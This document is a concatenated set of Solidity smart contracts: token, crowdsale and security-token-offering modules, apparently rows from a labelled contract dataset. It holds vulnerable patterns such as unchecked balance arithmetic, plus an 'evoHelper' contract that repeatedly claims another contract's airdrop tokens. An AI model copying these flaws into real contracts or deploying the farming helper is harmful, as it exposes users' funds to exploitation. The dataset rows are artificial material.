accounts [msg.sender] = safeAdd (accounts [msg.sender], _value);
tokenCount = safeAdd (tokenCount, _value);
// adding transfer event and _from address as null address
emit Transfer(0x0, msg.sender, _value);
return true;
}
return false;
}
/**
* Set new owner for the smart contract.
* May only be called by smart contract owner.
*
* @param _newOwner address of new owner of the smart contract
*/
function setOwner(address _newOwner) {
require (msg.sender == owner);
owner = _newOwner;
}
/**
* Freeze ALL token transfers.
* May only be called by smart contract owner.
*/
function freezeTransfers () {
require (msg.sender == owner);
if (!frozen) {
frozen = true;
emit Freeze ();
}
}
/**
* Unfreeze ALL token transfers.
* May only be called by smart contract owner.
*/
function unfreezeTransfers () {
require (msg.sender == owner);
if (frozen) {
frozen = false;
emit Unfreeze ();
}
}
/*A user is able to unintentionally send tokens to a contract
* and if the contract is not prepared to refund them they will get stuck in the contract.
* The same issue used to happen for Ether too but new Solidity versions added the payable modifier to
* prevent unintended Ether transfers. However, there’s no such mechanism for token transfers.
* so the below function is created
*/
function refundTokens(address _token, address _refund, uint256 _value) {
require (msg.sender == owner);
require(_token != address(this));
AbstractToken token = AbstractToken(_token);
token.transfer(_refund, _value);
emit RefundTokens(_token, _refund, _value);
}
/**
* Freeze specific account
* May only be called by smart contract owner.
*/
function freezeAccount(address _target, bool freeze) {
require (msg.sender == owner);
require (msg.sender != _target);
frozenAccount[_target] = freeze;
emit FrozenFunds(_target, freeze);
}
/**
* Logged when token transfers were frozen.
*/
event Freeze ();
/**
* Logged when token transfers were unfrozen.
*/
event Unfreeze ();
/**
* Logged when a particular account is frozen.
*/
event FrozenFunds(address target, bool frozen);
/**
* when accidentally send other tokens are refunded
*/
event RefundTokens(address _token, address _refund, uint256 _value);
} | True | [
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] |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract Token {
/// total amount of tokens
uint public totalSupply;
/// return tokens balance
function balanceOf(address _owner) constant returns (uint balance);
/// tranfer successful or not
function transfer(address _to, uint _value) returns (bool success);
/// tranfer successful or not
function transferFrom(address _from, address _to, uint _value) returns (bool success);
/// approval successful or not
function approve(address _spender, uint _value) returns (bool success);
/// amount of remaining tokens
function allowance(address _owner, address _spender) constant returns (uint remaining);
/// events
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract StandardToken is Token {
modifier onlyPayloadSize(uint size) {
if(msg.data.length < size + 4) {
throw;
}
_;
}
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else {
return false;
}
}
function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
}
contract LudumToken is StandardToken {
using SafeMath for uint;
string public constant name = "Ludum"; // Ludum tokens name
string public constant symbol = "LDM"; // Ludum tokens ticker
uint public constant decimals = 18; // Ludum tokens decimals
uint public constant maximumSupply = 100000000000000000000000000; // Maximum 100M Ludum tokens can be created
address public ethDepositAddress;
address public teamFundAddress;
address public operationsFundAddress;
address public marketingFundAddress;
bool public isFinalized;
uint public constant crowdsaleStart = 1503921600;
uint public constant crowdsaleEnd = 1506340800;
uint public constant teamPercent = 10;
uint public constant operationsPercent = 10;
uint public constant marketingPercent = 10;
function ludumTokensPerEther() constant returns(uint) {
if (now < crowdsaleStart || now > crowdsaleEnd) {
return 0;
} else {
if (now < crowdsaleStart + 1 days) return 15000; // Ludum token sale with 50% bonus
if (now < crowdsaleStart + 7 days) return 13000; // Ludum token sale with 30% bonus
if (now < crowdsaleStart + 14 days) return 11000; // Ludum token sale with 10% bonus
return 10000; // Ludum token sale
}
}
// events
event CreateLudumTokens(address indexed _to, uint _value);
// Ludum token constructor
function LudumToken()
{
isFinalized = false;
ethDepositAddress = "0xD8E4FB6cC1BD2a8eF6E086152877E7ba540B5d9b";
teamFundAddress = "0xB6FCB6EF9b46B4ea0AC403e74b53e3962f6fc41d";
operationsFundAddress = "0x81B9c43a410C86620fbd85509c29E8C93995A8A9";
marketingFundAddress = "0x057CCb6A9061Aa61aEAE047fdCddeCb6511A0865";
}
function makeTokens() payable {
if (isFinalized) throw;
if (now < crowdsaleStart) throw;
if (now > crowdsaleEnd) throw;
if (msg.value < 10 finney) throw;
uint tokens = msg.value.mul(ludumTokensPerEther());
uint teamTokens = tokens.mul(teamPercent).div(100);
uint operationsTokens = tokens.mul(operationsPercent).div(100);
uint marketingTokens = tokens.mul(marketingPercent).div(100);
uint currentSupply = totalSupply.add(tokens).add(teamTokens).add(operationsTokens).add(marketingTokens);
if (maximumSupply < currentSupply) throw;
totalSupply = currentSupply;
balances[msg.sender] += tokens;
CreateLudumTokens(msg.sender, tokens);
balances[teamFundAddress] += teamTokens;
CreateLudumTokens(teamFundAddress, teamTokens);
balances[operationsFundAddress] += operationsTokens;
CreateLudumTokens(operationsFundAddress, operationsTokens);
balances[marketingFundAddress] += marketingTokens;
CreateLudumTokens(marketingFundAddress, marketingTokens);
}
function() payable {
makeTokens();
}
function finalizeCrowdsale() external {
if (isFinalized) throw;
if (msg.sender != ethDepositAddress) throw;
if(now <= crowdsaleEnd && totalSupply != maximumSupply) throw;
isFinalized = true;
if(!ethDepositAddress.send(this.balance)) throw;
}
} | True | [
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pragma solidity ^0.4.24;
/**
* @title Utility contract to allow pausing and unpausing of certain functions
*/
contract Pausable {
event Pause(uint256 _timestammp);
event Unpause(uint256 _timestamp);
bool public paused = false;
/**
* @notice Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @notice Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @notice called by the owner to pause, triggers stopped state
*/
function _pause() internal {
require(!paused);
paused = true;
emit Pause(now);
}
/**
* @notice called by the owner to unpause, returns to normal state
*/
function _unpause() internal {
require(paused);
paused = false;
emit Unpause(now);
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title DetailedERC20 token
* @dev The decimals are only for visualization purposes.
* All the operations are done using the smallest and indivisible token unit,
* just as on Ethereum all the operations are done in wei.
*/
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
/**
* @title Interface for the ST20 token standard
*/
contract IST20 is StandardToken, DetailedERC20 {
// off-chain hash
string public tokenDetails;
//transfer, transferFrom must respect use respect the result of verifyTransfer
function verifyTransfer(address _from, address _to, uint256 _amount) public returns (bool success);
/**
* @notice mints new tokens and assigns them to the target _investor.
* Can only be called by the STO attached to the token (Or by the ST owner if there's no STO attached yet)
*/
function mint(address _investor, uint256 _amount) public returns (bool success);
/**
* @notice Burn function used to burn the securityToken
* @param _value No. of token that get burned
*/
function burn(uint256 _value) public;
event Minted(address indexed to, uint256 amount);
event Burnt(address indexed _burner, uint256 _value);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title Interface for all security tokens
*/
contract ISecurityToken is IST20, Ownable {
uint8 public constant PERMISSIONMANAGER_KEY = 1;
uint8 public constant TRANSFERMANAGER_KEY = 2;
uint8 public constant STO_KEY = 3;
uint8 public constant CHECKPOINT_KEY = 4;
uint256 public granularity;
// Value of current checkpoint
uint256 public currentCheckpointId;
// Total number of non-zero token holders
uint256 public investorCount;
// List of token holders
address[] public investors;
// Permissions this to a Permission module, which has a key of 1
// If no Permission return false - note that IModule withPerm will allow ST owner all permissions anyway
// this allows individual modules to override this logic if needed (to not allow ST owner all permissions)
function checkPermission(address _delegate, address _module, bytes32 _perm) public view returns(bool);
/**
* @notice returns module list for a module type
* @param _moduleType is which type of module we are trying to remove
* @param _moduleIndex is the index of the module within the chosen type
*/
function getModule(uint8 _moduleType, uint _moduleIndex) public view returns (bytes32, address);
/**
* @notice returns module list for a module name - will return first match
* @param _moduleType is which type of module we are trying to remove
* @param _name is the name of the module within the chosen type
*/
function getModuleByName(uint8 _moduleType, bytes32 _name) public view returns (bytes32, address);
/**
* @notice Queries totalSupply as of a defined checkpoint
* @param _checkpointId Checkpoint ID to query as of
*/
function totalSupplyAt(uint256 _checkpointId) public view returns(uint256);
/**
* @notice Queries balances as of a defined checkpoint
* @param _investor Investor to query balance for
* @param _checkpointId Checkpoint ID to query as of
*/
function balanceOfAt(address _investor, uint256 _checkpointId) public view returns(uint256);
/**
* @notice Creates a checkpoint that can be used to query historical balances / totalSuppy
*/
function createCheckpoint() public returns(uint256);
/**
* @notice gets length of investors array
* NB - this length may differ from investorCount if list has not been pruned of zero balance investors
* @return length
*/
function getInvestorsLength() public view returns(uint256);
}
/**
* @title Interface that any module factory contract should implement
*/
contract IModuleFactory is Ownable {
ERC20 public polyToken;
uint256 public setupCost;
uint256 public usageCost;
uint256 public monthlySubscriptionCost;
event LogChangeFactorySetupFee(uint256 _oldSetupcost, uint256 _newSetupCost, address _moduleFactory);
event LogChangeFactoryUsageFee(uint256 _oldUsageCost, uint256 _newUsageCost, address _moduleFactory);
event LogChangeFactorySubscriptionFee(uint256 _oldSubscriptionCost, uint256 _newMonthlySubscriptionCost, address _moduleFactory);
event LogGenerateModuleFromFactory(address _module, bytes32 indexed _moduleName, address indexed _moduleFactory, address _creator, uint256 _timestamp);
/**
* @notice Constructor
* @param _polyAddress Address of the polytoken
*/
constructor (address _polyAddress, uint256 _setupCost, uint256 _usageCost, uint256 _subscriptionCost) public {
polyToken = ERC20(_polyAddress);
setupCost = _setupCost;
usageCost = _usageCost;
monthlySubscriptionCost = _subscriptionCost;
}
//Should create an instance of the Module, or throw
function deploy(bytes _data) external returns(address);
/**
* @notice Type of the Module factory
*/
function getType() public view returns(uint8);
/**
* @notice Get the name of the Module
*/
function getName() public view returns(bytes32);
/**
* @notice Get the description of the Module
*/
function getDescription() public view returns(string);
/**
* @notice Get the title of the Module
*/
function getTitle() public view returns(string);
/**
* @notice Get the Instructions that helped to used the module
*/
function getInstructions() public view returns (string);
/**
* @notice Get the tags related to the module factory
*/
function getTags() public view returns (bytes32[]);
//Pull function sig from _data
function getSig(bytes _data) internal pure returns (bytes4 sig) {
uint len = _data.length < 4 ? _data.length : 4;
for (uint i = 0; i < len; i++) {
sig = bytes4(uint(sig) + uint(_data[i]) * (2 ** (8 * (len - 1 - i))));
}
}
/**
* @notice used to change the fee of the setup cost
* @param _newSetupCost new setup cost
*/
function changeFactorySetupFee(uint256 _newSetupCost) public onlyOwner {
emit LogChangeFactorySetupFee(setupCost, _newSetupCost, address(this));
setupCost = _newSetupCost;
}
/**
* @notice used to change the fee of the usage cost
* @param _newUsageCost new usage cost
*/
function changeFactoryUsageFee(uint256 _newUsageCost) public onlyOwner {
emit LogChangeFactoryUsageFee(usageCost, _newUsageCost, address(this));
usageCost = _newUsageCost;
}
/**
* @notice used to change the fee of the subscription cost
* @param _newSubscriptionCost new subscription cost
*/
function changeFactorySubscriptionFee(uint256 _newSubscriptionCost) public onlyOwner {
emit LogChangeFactorySubscriptionFee(monthlySubscriptionCost, _newSubscriptionCost, address(this));
monthlySubscriptionCost = _newSubscriptionCost;
}
}
/**
* @title Interface that any module contract should implement
*/
contract IModule {
address public factory;
address public securityToken;
bytes32 public constant FEE_ADMIN = "FEE_ADMIN";
ERC20 public polyToken;
/**
* @notice Constructor
* @param _securityToken Address of the security token
* @param _polyAddress Address of the polytoken
*/
constructor (address _securityToken, address _polyAddress) public {
securityToken = _securityToken;
factory = msg.sender;
polyToken = ERC20(_polyAddress);
}
/**
* @notice This function returns the signature of configure function
*/
function getInitFunction() public pure returns (bytes4);
//Allows owner, factory or permissioned delegate
modifier withPerm(bytes32 _perm) {
bool isOwner = msg.sender == ISecurityToken(securityToken).owner();
bool isFactory = msg.sender == factory;
require(isOwner||isFactory||ISecurityToken(securityToken).checkPermission(msg.sender, address(this), _perm), "Permission check failed");
_;
}
modifier onlyOwner {
require(msg.sender == ISecurityToken(securityToken).owner(), "Sender is not owner");
_;
}
modifier onlyFactory {
require(msg.sender == factory, "Sender is not factory");
_;
}
modifier onlyFactoryOwner {
require(msg.sender == IModuleFactory(factory).owner(), "Sender is not factory owner");
_;
}
/**
* @notice Return the permissions flag that are associated with Module
*/
function getPermissions() public view returns(bytes32[]);
/**
* @notice used to withdraw the fee by the factory owner
*/
function takeFee(uint256 _amount) public withPerm(FEE_ADMIN) returns(bool) {
require(polyToken.transferFrom(address(this), IModuleFactory(factory).owner(), _amount), "Unable to take fee");
return true;
}
}
/**
* @title Interface to be implemented by all STO modules
*/
contract ISTO is IModule, Pausable {
using SafeMath for uint256;
enum FundraiseType { ETH, POLY }
FundraiseType public fundraiseType;
// Start time of the STO
uint256 public startTime;
// End time of the STO
uint256 public endTime;
/**
* @notice use to verify the investment, whether the investor provide the allowance to the STO or not.
* @param _beneficiary Ethereum address of the beneficiary, who wants to buy the st-20
* @param _fundsAmount Amount invested by the beneficiary
*/
function verifyInvestment(address _beneficiary, uint256 _fundsAmount) public view returns(bool) {
return polyToken.allowance(_beneficiary, address(this)) >= _fundsAmount;
}
/**
* @notice Return ETH raised by the STO
*/
function getRaisedEther() public view returns (uint256);
/**
* @notice Return POLY raised by the STO
*/
function getRaisedPOLY() public view returns (uint256);
/**
* @notice Return the total no. of investors
*/
function getNumberInvestors() public view returns (uint256);
/**
* @notice pause (overridden function)
*/
function pause() public onlyOwner {
require(now < endTime);
super._pause();
}
/**
* @notice unpause (overridden function)
*/
function unpause(uint256 _newEndDate) public onlyOwner {
require(_newEndDate >= endTime);
super._unpause();
endTime = _newEndDate;
}
/**
* @notice Reclaim ERC20Basic compatible tokens
* @param _tokenContract The address of the token contract
*/
function reclaimERC20(address _tokenContract) external onlyOwner {
require(_tokenContract != address(0));
ERC20Basic token = ERC20Basic(_tokenContract);
uint256 balance = token.balanceOf(address(this));
require(token.transfer(msg.sender, balance));
}
}
/**
* @title Helps contracts guard agains reentrancy attacks.
* @author Remco Bloemen <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="7604131b15193644">[email protected]</a>π.com>
* @notice If you mark a function `nonReentrant`, you should also
* mark it `external`.
*/
contract ReentrancyGuard {
/**
* @dev We use a single lock for the whole contract.
*/
bool private reentrancyLock = false;
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* @notice If you mark a function `nonReentrant`, you should also
* mark it `external`. Calling one nonReentrant function from
* another is not supported. Instead, you can implement a
* `private` function doing the actual work, and a `external`
* wrapper marked as `nonReentrant`.
*/
modifier nonReentrant() {
require(!reentrancyLock);
reentrancyLock = true;
_;
reentrancyLock = false;
}
}
/**
* @title STO module for standard capped crowdsale
*/
contract CappedSTO is ISTO, ReentrancyGuard {
using SafeMath for uint256;
// Address where funds are collected and tokens are issued to
address public wallet;
// How many token units a buyer gets per wei / base unit of POLY
uint256 public rate;
// Amount of funds raised
uint256 public fundsRaised;
uint256 public investorCount;
// Amount of tokens sold
uint256 public tokensSold;
//How many tokens this STO will be allowed to sell to investors
uint256 public cap;
mapping (address => uint256) public investors;
/**
* Event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
constructor (address _securityToken, address _polyAddress) public
IModule(_securityToken, _polyAddress)
{
}
//////////////////////////////////
/**
* @notice fallback function ***DO NOT OVERRIDE***
*/
function () external payable {
buyTokens(msg.sender);
}
/**
* @notice Function used to intialize the contract variables
* @param _startTime Unix timestamp at which offering get started
* @param _endTime Unix timestamp at which offering get ended
* @param _cap Maximum No. of tokens for sale
* @param _rate Token units a buyer gets per wei / base unit of POLY
* @param _fundRaiseType Type of currency used to collect the funds
* @param _fundsReceiver Ethereum account address to hold the funds
*/
function configure(
uint256 _startTime,
uint256 _endTime,
uint256 _cap,
uint256 _rate,
uint8 _fundRaiseType,
address _fundsReceiver
)
public
onlyFactory
{
require(_rate > 0, "Rate of token should be greater than 0");
require(_fundsReceiver != address(0), "Zero address is not permitted");
require(_startTime >= now && _endTime > _startTime, "Date parameters are not valid");
require(_cap > 0, "Cap should be greater than 0");
startTime = _startTime;
endTime = _endTime;
cap = _cap;
rate = _rate;
wallet = _fundsReceiver;
_check(_fundRaiseType);
}
/**
* @notice This function returns the signature of configure function
*/
function getInitFunction() public pure returns (bytes4) {
return bytes4(keccak256("configure(uint256,uint256,uint256,uint256,uint8,address)"));
}
/**
* @notice low level token purchase ***DO NOT OVERRIDE***
* @param _beneficiary Address performing the token purchase
*/
function buyTokens(address _beneficiary) public payable nonReentrant {
require(!paused);
require(fundraiseType == FundraiseType.ETH, "ETH should be the mode of investment");
uint256 weiAmount = msg.value;
_processTx(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
/**
* @notice low level token purchase
* @param _investedPOLY Amount of POLY invested
*/
function buyTokensWithPoly(uint256 _investedPOLY) public nonReentrant{
require(!paused);
require(fundraiseType == FundraiseType.POLY, "POLY should be the mode of investment");
require(verifyInvestment(msg.sender, _investedPOLY), "Not valid Investment");
_processTx(msg.sender, _investedPOLY);
_forwardPoly(msg.sender, wallet, _investedPOLY);
_postValidatePurchase(msg.sender, _investedPOLY);
}
/**
* @notice Checks whether the cap has been reached.
* @return bool Whether the cap was reached
*/
function capReached() public view returns (bool) {
return tokensSold >= cap;
}
/**
* @notice Return ETH raised by the STO
*/
function getRaisedEther() public view returns (uint256) {
if (fundraiseType == FundraiseType.ETH)
return fundsRaised;
else
return 0;
}
/**
* @notice Return POLY raised by the STO
*/
function getRaisedPOLY() public view returns (uint256) {
if (fundraiseType == FundraiseType.POLY)
return fundsRaised;
else
return 0;
}
/**
* @notice Return the total no. of investors
*/
function getNumberInvestors() public view returns (uint256) {
return investorCount;
}
/**
* @notice Return the permissions flag that are associated with STO
*/
function getPermissions() public view returns(bytes32[]) {
bytes32[] memory allPermissions = new bytes32[](0);
return allPermissions;
}
/**
* @notice Return the STO details
*/
function getSTODetails() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, bool) {
return (
startTime,
endTime,
cap,
rate,
fundsRaised,
investorCount,
tokensSold,
(fundraiseType == FundraiseType.POLY)
);
}
// -----------------------------------------
// Internal interface (extensible)
// -----------------------------------------
/**
* Processing the purchase as well as verify the required validations
* @param _beneficiary Address performing the token purchase
* @param _investedAmount Value in wei involved in the purchase
*/
function _processTx(address _beneficiary, uint256 _investedAmount) internal {
_preValidatePurchase(_beneficiary, _investedAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(_investedAmount);
// update state
fundsRaised = fundsRaised.add(_investedAmount);
tokensSold = tokensSold.add(tokens);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(msg.sender, _beneficiary, _investedAmount, tokens);
_updatePurchasingState(_beneficiary, _investedAmount);
}
/**
* @notice Validation of an incoming purchase.
Use require statements to revert state when conditions are not met. Use super to concatenate validations.
* @param _beneficiary Address performing the token purchase
* @param _investedAmount Value in wei involved in the purchase
*/
function _preValidatePurchase(address _beneficiary, uint256 _investedAmount) internal view {
require(_beneficiary != address(0), "Beneficiary address should not be 0x");
require(_investedAmount != 0, "Amount invested should not be equal to 0");
require(tokensSold.add(_getTokenAmount(_investedAmount)) <= cap, "Investment more than cap is not allowed");
require(now >= startTime && now <= endTime, "Offering is closed/Not yet started");
}
/**
* @notice Validation of an executed purchase.
Observe state and use revert statements to undo rollback when valid conditions are not met.
*/
function _postValidatePurchase(address /*_beneficiary*/, uint256 /*_investedAmount*/) internal pure {
// optional override
}
/**
* @notice Source of tokens.
Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens.
* @param _beneficiary Address performing the token purchase
* @param _tokenAmount Number of tokens to be emitted
*/
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
require(IST20(securityToken).mint(_beneficiary, _tokenAmount), "Error in minting the tokens");
}
/**
* @notice Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens.
* @param _beneficiary Address receiving the tokens
* @param _tokenAmount Number of tokens to be purchased
*/
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
if (investors[_beneficiary] == 0) {
investorCount = investorCount + 1;
}
investors[_beneficiary] = investors[_beneficiary].add(_tokenAmount);
_deliverTokens(_beneficiary, _tokenAmount);
}
/**
* @notice Override for extensions that require an internal state to check for validity
(current user contributions, etc.)
*/
function _updatePurchasingState(address /*_beneficiary*/, uint256 /*_investedAmount*/) internal pure {
// optional override
}
/**
* @notice Override to extend the way in which ether is converted to tokens.
* @param _investedAmount Value in wei to be converted into tokens
* @return Number of tokens that can be purchased with the specified _investedAmount
*/
function _getTokenAmount(uint256 _investedAmount) internal view returns (uint256) {
return _investedAmount.mul(rate);
}
/**
* @notice Determines how ETH is stored/forwarded on purchases.
*/
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
/**
* @notice Internal function used to check the type of fund raise currency
* @param _fundraiseType Type of currency used to collect the funds
*/
function _check(uint8 _fundraiseType) internal {
require(_fundraiseType == 0 || _fundraiseType == 1, "Not a valid fundraise type");
if (_fundraiseType == 0) {
fundraiseType = FundraiseType.ETH;
}
if (_fundraiseType == 1) {
require(address(polyToken) != address(0), "Address of the polyToken should not be 0x");
fundraiseType = FundraiseType.POLY;
}
}
/**
* @notice Internal function used to forward the POLY raised to beneficiary address
* @param _beneficiary Address of the funds reciever
* @param _to Address who wants to ST-20 tokens
* @param _fundsAmount Amount invested by _to
*/
function _forwardPoly(address _beneficiary, address _to, uint256 _fundsAmount) internal {
polyToken.transferFrom(_beneficiary, _to, _fundsAmount);
}
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/**
*Submitted for verification at Etherscan.io on 2021-05-27
*/
pragma solidity ^0.4.26;
interface evoToken {
function getTokens() payable external;
function balanceOf(address _owner) constant external returns (uint256);
function transfer(address _to, uint256 _amount) external returns (bool success);
}
contract evoHelper {
evoToken evo = evoToken(0x3fEa51dAab1672d3385f6AF02980e1462cA0687b);
function getEvo(uint256 count) external {
require(block.number >= 12520000, 'no start!');
for (uint256 i=0; i < count; i++) {
evo.getTokens();
}
evo.transfer(msg.sender, evo.balanceOf(this));
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-04-02
*/
// File: contracts/Context.sol
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
